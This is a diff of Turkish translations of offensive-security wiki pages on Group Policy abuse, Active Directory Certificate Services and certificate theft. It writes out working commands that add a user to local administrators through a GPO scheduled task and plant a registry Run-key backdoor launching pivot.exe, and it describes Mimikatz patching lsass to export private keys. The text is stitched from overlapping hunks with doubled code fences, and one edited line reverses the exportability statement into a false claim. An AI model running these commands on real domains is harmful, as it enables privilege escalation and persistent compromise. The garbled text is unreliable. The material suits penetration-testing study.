### GPO'yu Kötüye Kullan - New-GPOImmediateTask
|
||||
|
||||
Yanlış yapılandırılmış GPO'lar, örneğin, etkilenen makinelerde yerel yöneticiler grubuna bir kullanıcı eklemek için anlık bir planlı görev oluşturarak kod çalıştırmak için istismar edilebilir, bu da ayrıcalıkları önemli ölçüde artırır:
|
||||
```powershell
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy modülü - GPO'yu Kötüye Kullanma
|
||||
|
||||
GroupPolicy modülü, eğer kuruluysa, yeni GPO'ların oluşturulmasını ve bağlanmasını sağlar ve etkilenen bilgisayarlarda arka kapıları çalıştırmak için kayıt defteri değerleri gibi tercihlerin ayarlanmasına olanak tanır. Bu yöntem, GPO'nun güncellenmesini ve bir kullanıcının bilgisayara giriş yapmasını gerektirir:
|
||||
```powershell
|
||||
GroupPolicy modülü, yüklüyse, yeni GPO'ların oluşturulmasına ve bağlanmasına, ayrıca etkilenen bilgisayarlarda arka kapıları çalıştırmak için kayıt defteri değerleri gibi tercihlerin ayarlanmasına olanak tanır. Bu yöntem, GPO'nun güncellenmesini ve bir kullanıcının bilgisayara giriş yapmasını gerektirir:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
@ -145,17 +145,17 @@ SharpGPOAbuse, yeni GPO'lar oluşturma gereksinimi olmadan mevcut GPO'ları köt
|
||||
```
|
||||
### Politika Güncellemesini Zorla
|
||||
|
||||
GPO güncellemeleri genellikle her 90 dakikada bir gerçekleşir. Bu süreci hızlandırmak için, özellikle bir değişiklik uygulandıktan sonra, hedef bilgisayarda `gpupdate /force` komutu kullanılarak anında bir politika güncellemesi zorlanabilir. Bu komut, GPO'larda yapılan herhangi bir değişikliğin bir sonraki otomatik güncelleme döngüsünü beklemeden uygulanmasını sağlar.
|
||||
GPO güncellemeleri genellikle her 90 dakikada bir gerçekleşir. Bu süreci hızlandırmak için, özellikle bir değişiklik uygulandıktan sonra, hedef bilgisayarda `gpupdate /force` komutu kullanılabilir. Bu komut, GPO'larda yapılan herhangi bir değişikliğin bir sonraki otomatik güncelleme döngüsünü beklemeden uygulanmasını sağlar.
|
||||
|
||||
### Arka Planda
|
||||
|
||||
Belirli bir GPO için Zamanlanmış Görevler incelendiğinde, `Misconfigured Policy` gibi görevlerin eklenmesi gibi `evilTask` gibi görevlerin varlığı doğrulanabilir. Bu görevler, sistem davranışını değiştirmek veya ayrıcalıkları artırmak amacıyla betikler veya komut satırı araçları aracılığıyla oluşturulur.
|
||||
Belirli bir GPO için Zamanlanmış Görevler incelendiğinde, `Misconfigured Policy` gibi görevlerin eklenmesi, `evilTask` gibi görevlerin varlığını doğrulayabilir. Bu görevler, sistem davranışını değiştirmek veya ayrıcalıkları artırmak amacıyla betikler veya komut satırı araçları aracılığıyla oluşturulur.
|
||||
|
||||
`New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında gösterildiği gibi, görevin yapısı zamanlanmış görevin ayrıntılarını - yürütülecek komut ve tetikleyicileri - özetler. Bu dosya, zamanlanmış görevlerin GPO'lar içinde nasıl tanımlandığını ve yönetildiğini temsil eder ve politika uygulaması kapsamında rastgele komutlar veya betikler yürütme yöntemi sağlar.
|
||||
`New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında gösterildiği gibi, görev yapısı zamanlanmış görevin ayrıntılarını - yürütülecek komut ve tetikleyicileri - özetler. Bu dosya, zamanlanmış görevlerin GPO'lar içinde nasıl tanımlandığını ve yönetildiğini temsil eder ve politika uygulaması kapsamında rastgele komutlar veya betikler yürütme yöntemi sunar.
|
||||
|
||||
### Kullanıcılar ve Gruplar
|
||||
|
||||
GPO'lar, hedef sistemlerde kullanıcı ve grup üyeliklerinin manipülasyonuna da olanak tanır. Kullanıcılar ve Gruplar politika dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` grubu gibi ayrıcalıklı gruplara kullanıcı ekleyebilir. Bu, GPO yönetim izinlerinin devredilmesi yoluyla mümkündür; bu, politika dosyalarının yeni kullanıcılar eklemek veya grup üyeliklerini değiştirmek için değiştirilmesine izin verir.
|
||||
GPO'lar, hedef sistemlerde kullanıcı ve grup üyeliklerinin manipülasyonuna da olanak tanır. Kullanıcılar ve Gruplar politika dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` grubuna kullanıcı ekleyebilir. Bu, GPO yönetim izinlerinin devri yoluyla mümkündür; bu, politika dosyalarının yeni kullanıcılar eklemek veya grup üyeliklerini değiştirmek için değiştirilmesine izin verir.
|
||||
|
||||
Kullanıcılar ve Gruplar için XML yapılandırma dosyası, bu değişikliklerin nasıl uygulandığını özetler. Bu dosyaya girişler ekleyerek, belirli kullanıcılara etkilenen sistemler üzerinde yükseltilmiş ayrıcalıklar verilebilir. Bu yöntem, GPO manipülasyonu yoluyla ayrıcalık artırma için doğrudan bir yaklaşım sunar.
|
||||
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# AD Sertifikaları
|
||||
# AD Certificates
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Giriş
|
||||
## Introduction
|
||||
|
||||
### Sertifikanın Bileşenleri
|
||||
### Components of a Certificate
|
||||
|
||||
- Sertifikanın **Sahibi**, sertifikanın sahibini belirtir.
|
||||
- **Açık Anahtar**, sertifikayı gerçek sahibine bağlamak için özel bir anahtarla eşleştirilir.
|
||||
@ -12,72 +12,72 @@
|
||||
- Sertifikayı tanımlayan benzersiz bir **Seri Numarası**, Sertifika Otoritesi (CA) tarafından sağlanır.
|
||||
- **Verici**, sertifikayı veren CA'yı ifade eder.
|
||||
- **SubjectAlternativeName**, kimlik tanımlama esnekliğini artırarak konu için ek adlar sağlar.
|
||||
- **Temel Kısıtlamalar**, sertifikanın bir CA veya son varlık için olup olmadığını belirler ve kullanım kısıtlamalarını tanımlar.
|
||||
- **Genişletilmiş Anahtar Kullanımları (EKU'lar)**, sertifikanın belirli amaçlarını, örneğin kod imzalama veya e-posta şifreleme, Nesne Tanımlayıcıları (OID'ler) aracılığıyla belirler.
|
||||
- **Temel Kısıtlamalar**, sertifikanın bir CA veya son varlık için olup olmadığını tanımlar ve kullanım kısıtlamalarını belirler.
|
||||
- **Genişletilmiş Anahtar Kullanımları (EKUs)**, sertifikanın belirli amaçlarını, örneğin kod imzalama veya e-posta şifreleme gibi, Nesne Tanımlayıcıları (OIDs) aracılığıyla belirler.
|
||||
- **İmza Algoritması**, sertifikayı imzalamak için kullanılan yöntemi belirtir.
|
||||
- **İmza**, vericinin özel anahtarı ile oluşturulur ve sertifikanın doğruluğunu garanti eder.
|
||||
|
||||
### Özel Hususlar
|
||||
### Special Considerations
|
||||
|
||||
- **Subject Alternative Names (SAN'lar)**, bir sertifikanın birden fazla kimliğe uygulanabilirliğini genişletir, bu da birden fazla alan adı olan sunucular için kritik öneme sahiptir. Güvenli verilme süreçleri, saldırganların SAN spesifikasyonunu manipüle ederek kimlik taklidi risklerini önlemek için hayati öneme sahiptir.
|
||||
- **Subject Alternative Names (SANs)**, bir sertifikanın birden fazla kimliğe uygulanabilirliğini genişletir, bu da birden fazla alan adı olan sunucular için kritik öneme sahiptir. Güvenli verilme süreçleri, saldırganların SAN spesifikasyonunu manipüle ederek kimlik taklit etme risklerini önlemek için hayati öneme sahiptir.
|
||||
|
||||
### Aktif Dizin (AD) İçindeki Sertifika Otoriteleri (CA)
|
||||
### Certificate Authorities (CAs) in Active Directory (AD)
|
||||
|
||||
AD CS, AD ormanında CA sertifikalarını belirlenmiş konteynerler aracılığıyla tanır; her biri benzersiz roller üstlenir:
|
||||
|
||||
- **Sertifika Otoriteleri** konteyneri, güvenilir kök CA sertifikalarını tutar.
|
||||
- **Kayıt Hizmetleri** konteyneri, Kurumsal CA'lar ve sertifika şablonlarını detaylandırır.
|
||||
- **Kayıt Hizmetleri** konteyneri, Kurumsal CA'ları ve sertifika şablonlarını detaylandırır.
|
||||
- **NTAuthCertificates** nesnesi, AD kimlik doğrulaması için yetkilendirilmiş CA sertifikalarını içerir.
|
||||
- **AIA (Otorite Bilgi Erişimi)** konteyneri, ara ve çapraz CA sertifikaları ile sertifika zinciri doğrulamasını kolaylaştırır.
|
||||
|
||||
### Sertifika Edinimi: İstemci Sertifika Talep Akışı
|
||||
### Certificate Acquisition: Client Certificate Request Flow
|
||||
|
||||
1. Talep süreci, istemcilerin bir Kurumsal CA bulmasıyla başlar.
|
||||
2. Bir açık anahtar ve diğer detayları içeren bir CSR oluşturulur, ardından bir açık-özel anahtar çifti üretilir.
|
||||
1. İstek süreci, istemcilerin bir Kurumsal CA bulmasıyla başlar.
|
||||
2. Bir kamu-özel anahtar çifti oluşturulduktan sonra, bir kamu anahtarı ve diğer detayları içeren bir CSR oluşturulur.
|
||||
3. CA, mevcut sertifika şablonlarına karşı CSR'yi değerlendirir ve şablonun izinlerine dayanarak sertifikayı verir.
|
||||
4. Onaylandığında, CA sertifikayı özel anahtarı ile imzalar ve istemciye geri gönderir.
|
||||
|
||||
### Sertifika Şablonları
|
||||
### Certificate Templates
|
||||
|
||||
AD içinde tanımlanan bu şablonlar, sertifika vermek için ayarları ve izinleri belirler; izin verilen EKU'lar ve kayıt veya değişiklik hakları dahil, sertifika hizmetlerine erişimi yönetmek için kritik öneme sahiptir.
|
||||
|
||||
## Sertifika Kaydı
|
||||
## Certificate Enrollment
|
||||
|
||||
Sertifikalar için kayıt süreci, bir yöneticinin **bir sertifika şablonu oluşturması** ile başlar; bu şablon daha sonra bir Kurumsal Sertifika Otoritesi (CA) tarafından **yayınlanır**. Bu, şablonu istemci kaydı için kullanılabilir hale getirir; bu adım, şablonun adını bir Active Directory nesnesinin `certificatetemplates` alanına ekleyerek gerçekleştirilir.
|
||||
|
||||
Bir istemcinin sertifika talep edebilmesi için, **kayıt hakları** verilmelidir. Bu haklar, sertifika şablonundaki güvenlik tanımlayıcıları ve Kurumsal CA'nın kendisi tarafından tanımlanır. Bir talebin başarılı olması için her iki konumda da izinler verilmelidir.
|
||||
|
||||
### Şablon Kayıt Hakları
|
||||
### Template Enrollment Rights
|
||||
|
||||
Bu haklar, izinleri detaylandıran Erişim Kontrol Girişleri (ACE'ler) aracılığıyla belirtilir:
|
||||
Bu haklar, aşağıdaki gibi izinleri detaylandıran Erişim Kontrol Girişleri (ACE'ler) aracılığıyla belirtilir:
|
||||
|
||||
- **Sertifika-Kayıt** ve **Sertifika-Otomatik Kayıt** hakları, her biri belirli GUID'lerle ilişkilidir.
|
||||
- **Sertifika-Kayıt** ve **Sertifika-OtomatikKayıt** hakları, her biri belirli GUID'lerle ilişkilidir.
|
||||
- **GenişletilmişHaklar**, tüm genişletilmiş izinlere izin verir.
|
||||
- **TamKontrol/GeniGenericAll**, şablon üzerinde tam kontrol sağlar.
|
||||
|
||||
### Kurumsal CA Kayıt Hakları
|
||||
### Enterprise CA Enrollment Rights
|
||||
|
||||
CA'nın hakları, Sertifika Otoritesi yönetim konsolu aracılığıyla erişilebilen güvenlik tanımlayıcısında belirtilmiştir. Bazı ayarlar, düşük ayrıcalıklı kullanıcıların uzaktan erişimine bile izin verebilir, bu da bir güvenlik endişesi olabilir.
|
||||
CA'nın hakları, Sertifika Otoritesi yönetim konsolu aracılığıyla erişilebilen güvenlik tanımlayıcısında belirtilmiştir. Bazı ayarlar, düşük ayrıcalıklı kullanıcıların uzaktan erişim sağlamasına bile izin verebilir, bu da bir güvenlik endişesi olabilir.
|
||||
|
||||
### Ek Verme Kontrolleri
|
||||
### Additional Issuance Controls
|
||||
|
||||
Bazı kontroller uygulanabilir, örneğin:
|
||||
|
||||
- **Yönetici Onayı**: Talepleri, bir sertifika yöneticisi tarafından onaylanana kadar beklemede tutar.
|
||||
- **Kayıt Temsilcileri ve Yetkili İmzalar**: Bir CSR üzerindeki gerekli imza sayısını ve gerekli Uygulama Politika OID'lerini belirtir.
|
||||
- **Kayıt Ajanları ve Yetkili İmzalar**: Bir CSR üzerindeki gerekli imza sayısını ve gerekli Uygulama Politika OID'lerini belirtir.
|
||||
|
||||
### Sertifika Talep Yöntemleri
|
||||
### Methods to Request Certificates
|
||||
|
||||
Sertifikalar şu yollarla talep edilebilir:
|
||||
Sertifikalar aşağıdaki yöntemlerle talep edilebilir:
|
||||
|
||||
1. **Windows İstemci Sertifika Kayıt Protokolü** (MS-WCCE), DCOM arayüzlerini kullanarak.
|
||||
2. **ICertPassage Uzak Protokolü** (MS-ICPR), adlandırılmış borular veya TCP/IP aracılığıyla.
|
||||
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), DCOM arayüzlerini kullanarak.
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR), adlandırılmış borular veya TCP/IP aracılığıyla.
|
||||
3. **Sertifika kayıt web arayüzü**, Sertifika Otoritesi Web Kayıt rolü yüklü olduğunda.
|
||||
4. **Sertifika Kayıt Hizmeti** (CES), Sertifika Kayıt Politikası (CEP) hizmeti ile birlikte.
|
||||
5. **Ağ Cihazı Kayıt Hizmeti** (NDES), ağ cihazları için, Basit Sertifika Kayıt Protokolü (SCEP) kullanarak.
|
||||
4. **Sertifika Kayıt Servisi** (CES), Sertifika Kayıt Politikası (CEP) servisi ile birlikte.
|
||||
5. **Ağ Cihazı Kayıt Servisi** (NDES) için ağ cihazları, Basit Sertifika Kayıt Protokolü (SCEP) kullanarak.
|
||||
|
||||
Windows kullanıcıları ayrıca GUI (`certmgr.msc` veya `certlm.msc`) veya komut satırı araçları (`certreq.exe` veya PowerShell'in `Get-Certificate` komutu) aracılığıyla sertifika talep edebilir.
|
||||
```powershell
|
||||
```bash
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
```
|
||||
@ -87,7 +87,7 @@ Active Directory (AD) sertifika kimlik doğrulamasını destekler, esasen **Kerb
|
||||
|
||||
### Kerberos Kimlik Doğrulama Süreci
|
||||
|
||||
Kerberos kimlik doğrulama sürecinde, bir kullanıcının Ticket Granting Ticket (TGT) talebi, kullanıcının sertifikasının **özel anahtarı** ile imzalanır. Bu talep, alan denetleyicisi tarafından sertifikanın **geçerliliği**, **yolu** ve **iptal durumu** dahil olmak üzere birkaç doğrulamadan geçer. Doğrulamalar ayrıca sertifikanın güvenilir bir kaynaktan geldiğini doğrulamayı ve vericinin **NTAUTH sertifika deposu** içindeki varlığını onaylamayı içerir. Başarılı doğrulamalar, bir TGT'nin verilmesiyle sonuçlanır. AD'deki **`NTAuthCertificates`** nesnesi, şu konumda bulunur:
|
||||
Kerberos kimlik doğrulama sürecinde, bir kullanıcının Ticket Granting Ticket (TGT) talebi, kullanıcının sertifikasının **özel anahtarı** ile imzalanır. Bu talep, alan denetleyicisi tarafından sertifikanın **geçerliliği**, **yolu** ve **iptal durumu** dahil olmak üzere birkaç doğrulamadan geçer. Doğrulamalar ayrıca sertifikanın güvenilir bir kaynaktan geldiğini doğrulamayı ve vericinin **NTAUTH sertifika deposu** içindeki varlığını onaylamayı içerir. Başarılı doğrulamalar, bir TGT'nin verilmesiyle sonuçlanır. AD'deki **`NTAuthCertificates`** nesnesi, şu adreste bulunur:
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
@ -95,7 +95,7 @@ güvenilirliği sağlamak için merkezi bir öneme sahiptir.
|
||||
|
||||
### Güvenli Kanal (Schannel) Kimlik Doğrulaması
|
||||
|
||||
Schannel, bir el sıkışma sırasında istemcinin, başarılı bir şekilde doğrulandığında erişimi yetkilendiren bir sertifika sunduğu güvenli TLS/SSL bağlantılarını kolaylaştırır. Bir sertifikanın bir AD hesabına eşlenmesi, Kerberos'un **S4U2Self** işlevini veya sertifikanın **Subject Alternative Name (SAN)**'ini içeren diğer yöntemleri içerebilir.
|
||||
Schannel, bir el sıkışma sırasında istemcinin, başarılı bir şekilde doğrulanırsa erişimi yetkilendiren bir sertifika sunduğu güvenli TLS/SSL bağlantılarını kolaylaştırır. Bir sertifikanın bir AD hesabına eşlenmesi, Kerberos’un **S4U2Self** fonksiyonu veya sertifikanın **Subject Alternative Name (SAN)** gibi diğer yöntemleri içerebilir.
|
||||
|
||||
### AD Sertifika Hizmetleri Sayımı
|
||||
|
||||
|
||||
@ -12,28 +12,28 @@
|
||||
- Sertifikayı tanımlayan benzersiz bir **Seri Numarası**, Sertifika Otoritesi (CA) tarafından sağlanır.
|
||||
- **Verici**, sertifikayı veren CA'yı ifade eder.
|
||||
- **SubjectAlternativeName**, kimlik tanımlama esnekliğini artırarak konu için ek adlar sağlar.
|
||||
- **Temel Kısıtlamalar**, sertifikanın bir CA veya son varlık için olup olmadığını tanımlar ve kullanım kısıtlamalarını belirler.
|
||||
- **Genişletilmiş Anahtar Kullanımları (EKUs)**, sertifikanın belirli amaçlarını, örneğin kod imzalama veya e-posta şifreleme gibi, Nesne Tanımlayıcıları (OIDs) aracılığıyla belirler.
|
||||
- **Temel Kısıtlamalar**, sertifikanın bir CA veya son varlık için olup olmadığını belirler ve kullanım kısıtlamalarını tanımlar.
|
||||
- **Genişletilmiş Anahtar Kullanımları (EKU'lar)**, sertifikanın belirli amaçlarını, örneğin kod imzalama veya e-posta şifreleme gibi, Nesne Tanımlayıcıları (OID'ler) aracılığıyla belirler.
|
||||
- **İmza Algoritması**, sertifikayı imzalamak için kullanılan yöntemi belirtir.
|
||||
- **İmza**, vericinin özel anahtarı ile oluşturulur ve sertifikanın doğruluğunu garanti eder.
|
||||
|
||||
### Special Considerations
|
||||
|
||||
- **Subject Alternative Names (SANs)**, bir sertifikanın birden fazla kimliğe uygulanabilirliğini genişletir, bu da birden fazla alan adı olan sunucular için kritik öneme sahiptir. Güvenli verilme süreçleri, saldırganların SAN spesifikasyonunu manipüle ederek kimlik taklidi risklerini önlemek için hayati öneme sahiptir.
|
||||
- **Subject Alternative Names (SANs)**, bir sertifikanın birden fazla kimliğe uygulanabilirliğini genişletir, bu da birden fazla alan adı olan sunucular için kritik öneme sahiptir. Güvenli verilme süreçleri, saldırganların SAN spesifikasyonunu manipüle ederek kimlik taklit etme risklerini önlemek için hayati öneme sahiptir.
|
||||
|
||||
### Certificate Authorities (CAs) in Active Directory (AD)
|
||||
|
||||
AD CS, AD ormanında CA sertifikalarını belirlenmiş konteynerler aracılığıyla tanır; her biri benzersiz roller üstlenir:
|
||||
|
||||
- **Sertifika Otoriteleri** konteyneri, güvenilir kök CA sertifikalarını tutar.
|
||||
- **Kayıt Hizmetleri** konteyneri, Kurumsal CA'lar ve sertifika şablonlarını detaylandırır.
|
||||
- **Kayıt Hizmetleri** konteyneri, Kurumsal CA'ları ve sertifika şablonlarını detaylandırır.
|
||||
- **NTAuthCertificates** nesnesi, AD kimlik doğrulaması için yetkilendirilmiş CA sertifikalarını içerir.
|
||||
- **AIA (Otorite Bilgi Erişimi)** konteyneri, ara ve çapraz CA sertifikaları ile sertifika zinciri doğrulamasını kolaylaştırır.
|
||||
|
||||
### Certificate Acquisition: Client Certificate Request Flow
|
||||
|
||||
1. İstek süreci, istemcilerin bir Kurumsal CA bulmasıyla başlar.
|
||||
2. Bir kamu-özel anahtar çifti oluşturulduktan sonra, bir CSR oluşturulur; bu, bir açık anahtar ve diğer detayları içerir.
|
||||
2. Bir kamu-özel anahtar çifti oluşturulduktan sonra, bir kamu anahtarı ve diğer detayları içeren bir CSR oluşturulur.
|
||||
3. CA, mevcut sertifika şablonlarına karşı CSR'yi değerlendirir ve şablonun izinlerine dayanarak sertifikayı verir.
|
||||
4. Onaylandığında, CA sertifikayı özel anahtarı ile imzalar ve istemciye geri gönderir.
|
||||
|
||||
@ -49,11 +49,11 @@ Bir istemcinin sertifika talep edebilmesi için, **kayıt hakları** verilmelidi
|
||||
|
||||
### Template Enrollment Rights
|
||||
|
||||
Bu haklar, izinleri detaylandıran Erişim Kontrol Girişleri (ACE'ler) aracılığıyla belirtilir:
|
||||
Bu haklar, aşağıdaki gibi izinleri detaylandıran Erişim Kontrol Girişleri (ACE'ler) aracılığıyla belirtilir:
|
||||
|
||||
- **Sertifika-Kayıt** ve **Sertifika-OtomatikKayıt** hakları, her biri belirli GUID'lerle ilişkilidir.
|
||||
- **GenişletilmişHaklar**, tüm genişletilmiş izinlere izin verir.
|
||||
- **TamKontrol/GenericAll**, şablon üzerinde tam kontrol sağlar.
|
||||
- **TamKontrol/GenişTüm**, şablon üzerinde tam kontrol sağlar.
|
||||
|
||||
### Enterprise CA Enrollment Rights
|
||||
|
||||
@ -68,38 +68,38 @@ Bazı kontroller uygulanabilir, örneğin:
|
||||
|
||||
### Methods to Request Certificates
|
||||
|
||||
Sertifikalar şu yöntemlerle talep edilebilir:
|
||||
Sertifikalar aşağıdaki yöntemlerle talep edilebilir:
|
||||
|
||||
1. **Windows İstemci Sertifika Kayıt Protokolü** (MS-WCCE), DCOM arayüzlerini kullanarak.
|
||||
2. **ICertPassage Uzak Protokolü** (MS-ICPR), adlandırılmış borular veya TCP/IP aracılığıyla.
|
||||
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), DCOM arayüzlerini kullanarak.
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR), adlandırılmış borular veya TCP/IP aracılığıyla.
|
||||
3. **Sertifika kayıt web arayüzü**, Sertifika Otoritesi Web Kayıt rolü yüklü olduğunda.
|
||||
4. **Sertifika Kayıt Servisi** (CES), Sertifika Kayıt Politikası (CEP) servisi ile birlikte.
|
||||
5. **Ağ Cihazı Kayıt Servisi** (NDES), ağ cihazları için, Basit Sertifika Kayıt Protokolü (SCEP) kullanarak.
|
||||
|
||||
Windows kullanıcıları ayrıca GUI (`certmgr.msc` veya `certlm.msc`) veya komut satırı araçları (`certreq.exe` veya PowerShell'in `Get-Certificate` komutu) aracılığıyla sertifika talep edebilir.
|
||||
```powershell
|
||||
```bash
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
```
|
||||
## Sertifika Kimlik Doğrulaması
|
||||
## Sertifika Kimlik Doğrulama
|
||||
|
||||
Active Directory (AD) sertifika kimlik doğrulamasını destekler, esasen **Kerberos** ve **Secure Channel (Schannel)** protokollerini kullanır.
|
||||
Active Directory (AD) sertifika kimlik doğrulamayı destekler, esasen **Kerberos** ve **Secure Channel (Schannel)** protokollerini kullanır.
|
||||
|
||||
### Kerberos Kimlik Doğrulama Süreci
|
||||
|
||||
Kerberos kimlik doğrulama sürecinde, bir kullanıcının Ticket Granting Ticket (TGT) talebi, kullanıcının sertifikasının **özel anahtarı** ile imzalanır. Bu talep, alan denetleyicisi tarafından sertifikanın **geçerliliği**, **yolu** ve **iptal durumu** dahil olmak üzere birkaç doğrulamadan geçer. Doğrulamalar ayrıca sertifikanın güvenilir bir kaynaktan geldiğini doğrulamayı ve vericinin **NTAUTH sertifika deposu** içindeki varlığını onaylamayı içerir. Başarılı doğrulamalar, bir TGT'nin verilmesiyle sonuçlanır. AD'deki **`NTAuthCertificates`** nesnesi, şu konumda bulunur:
|
||||
Kerberos kimlik doğrulama sürecinde, bir kullanıcının Ticket Granting Ticket (TGT) talebi, kullanıcının sertifikasının **özel anahtarı** ile imzalanır. Bu talep, alan denetleyicisi tarafından sertifikanın **geçerliliği**, **yolu** ve **iptal durumu** dahil olmak üzere birkaç doğrulamadan geçer. Doğrulamalar ayrıca sertifikanın güvenilir bir kaynaktan geldiğini doğrulamayı ve vericinin **NTAUTH sertifika deposu** içindeki varlığını onaylamayı içerir. Başarılı doğrulamalar, bir TGT'nin verilmesiyle sonuçlanır. AD'deki **`NTAuthCertificates`** nesnesi, şu adreste bulunur:
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
sertifika kimlik doğrulaması için güven oluşturmanın merkezidir.
|
||||
güvenilirliği sağlamak için merkezi bir öneme sahiptir.
|
||||
|
||||
### Güvenli Kanal (Schannel) Kimlik Doğrulaması
|
||||
|
||||
Schannel, bir el sıkışma sırasında istemcinin, başarılı bir şekilde doğrulanırsa erişimi yetkilendiren bir sertifika sunduğu güvenli TLS/SSL bağlantılarını kolaylaştırır. Bir sertifikanın bir AD hesabına eşlenmesi, Kerberos'un **S4U2Self** işlevini veya sertifikanın **Subject Alternative Name (SAN)**'ını içerebilir.
|
||||
Schannel, bir el sıkışma sırasında istemcinin, başarılı bir şekilde doğrulanırsa erişimi yetkilendiren bir sertifika sunduğu güvenli TLS/SSL bağlantılarını kolaylaştırır. Bir sertifikanın bir AD hesabına eşlenmesi, Kerberos’un **S4U2Self** fonksiyonu veya sertifikanın **Subject Alternative Name (SAN)** gibi diğer yöntemleri içerebilir.
|
||||
|
||||
### AD Sertifika Hizmetleri Sayımı
|
||||
|
||||
AD'nin sertifika hizmetleri, **Enterprise Certificate Authorities (CAs)** ve bunların yapılandırmaları hakkında bilgi ortaya çıkaran LDAP sorguları aracılığıyla sayılabilir. Bu, özel ayrıcalıklara sahip olmadan herhangi bir alan kimlik doğrulamalı kullanıcı tarafından erişilebilir. **[Certify](https://github.com/GhostPack/Certify)** ve **[Certipy](https://github.com/ly4k/Certipy)** gibi araçlar, AD CS ortamlarında sayım ve güvenlik açığı değerlendirmesi için kullanılır.
|
||||
AD'nin sertifika hizmetleri, **Enterprise Certificate Authorities (CAs)** ve bunların yapılandırmaları hakkında bilgi açığa çıkaran LDAP sorguları aracılığıyla sayılabilir. Bu, özel ayrıcalıklara sahip olmadan herhangi bir alan kimlik doğrulamalı kullanıcı tarafından erişilebilir. **[Certify](https://github.com/GhostPack/Certify)** ve **[Certipy](https://github.com/ly4k/Certipy)** gibi araçlar, AD CS ortamlarında sayım ve güvenlik açığı değerlendirmesi için kullanılır.
|
||||
|
||||
Bu araçları kullanmak için komutlar şunlardır:
|
||||
```bash
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
## Bir sertifika ile ne yapabilirim
|
||||
|
||||
Sertifikaları nasıl çalacağınızı kontrol etmeden önce, sertifikanın ne için yararlı olduğunu bulmak hakkında bazı bilgilere sahip olmalısınız:
|
||||
```powershell
|
||||
```bash
|
||||
# Powershell
|
||||
$CertPath = "C:\path\to\cert.pfx"
|
||||
$CertPass = "P@ssw0rd"
|
||||
@ -18,13 +18,13 @@ $Cert.EnhancedKeyUsageList
|
||||
# cmd
|
||||
certutil.exe -dump -v cert.pfx
|
||||
```
|
||||
## Sertifikaları Crypto API'leri Kullanarak Dışa Aktarma – THEFT1
|
||||
## Sertifikaların Crypto API'leri Kullanılarak Dışa Aktarılması – THEFT1
|
||||
|
||||
Bir **etkileşimli masaüstü oturumu** sırasında, bir kullanıcı veya makine sertifikasını, özel anahtarıyla birlikte çıkarmak kolayca yapılabilir, özellikle de **özel anahtar dışa aktarılabilir** ise. Bu, `certmgr.msc` içinde sertifikaya giderek, sağ tıklayıp `Tüm Görevler → Dışa Aktar` seçeneğini seçerek şifre korumalı bir .pfx dosyası oluşturmakla gerçekleştirilebilir.
|
||||
Bir **etkileşimli masaüstü oturumu** sırasında, bir kullanıcı veya makine sertifikasını, özel anahtarıyla birlikte çıkarmak oldukça kolaydır, özellikle de **özel anahtar dışa aktarılabilir** ise. Bu, `certmgr.msc` içinde sertifikaya giderek, sağ tıklayıp `Tüm Görevler → Dışa Aktar` seçeneğini seçerek şifre korumalı bir .pfx dosyası oluşturmakla gerçekleştirilebilir.
|
||||
|
||||
**Programatik bir yaklaşım** için, PowerShell `ExportPfxCertificate` cmdlet'i veya [TheWover’ın CertStealer C# projesi](https://github.com/TheWover/CertStealer) gibi araçlar mevcuttur. Bu araçlar, sertifika deposuyla etkileşimde bulunmak için **Microsoft CryptoAPI** (CAPI) veya Kriptografi API: Next Generation (CNG) kullanır. Bu API'ler, sertifika depolama ve kimlik doğrulama için gerekli olanlar da dahil olmak üzere çeşitli kriptografik hizmetler sunar.
|
||||
|
||||
Ancak, bir özel anahtar dışa aktarılabilir olarak ayarlanmadıysa, hem CAPI hem de CNG genellikle bu tür sertifikaların çıkarılmasını engeller. Bu kısıtlamayı aşmak için, **Mimikatz** gibi araçlar kullanılabilir. Mimikatz, özel anahtarların dışa aktarımına izin vermek için ilgili API'leri yamanan `crypto::capi` ve `crypto::cng` komutları sunar. Özellikle, `crypto::capi` mevcut süreçte CAPI'yi yamarken, `crypto::cng` **lsass.exe**'nin belleğini yamanmayı hedefler.
|
||||
Ancak, bir özel anahtar dışa aktarılabilir olarak ayarlandığında, hem CAPI hem de CNG genellikle bu tür sertifikaların çıkarılmasını engeller. Bu kısıtlamayı aşmak için, **Mimikatz** gibi araçlar kullanılabilir. Mimikatz, özel anahtarların dışa aktarımına izin vermek için ilgili API'leri yamanan `crypto::capi` ve `crypto::cng` komutları sunar. Özellikle, `crypto::capi` mevcut süreçte CAPI'yi yamanırken, `crypto::cng` **lsass.exe**'nin belleğini yamanmayı hedefler.
|
||||
|
||||
## DPAPI Üzerinden Kullanıcı Sertifikası Hırsızlığı – THEFT2
|
||||
|
||||
@ -34,7 +34,7 @@ DPAPI hakkında daha fazla bilgi için:
|
||||
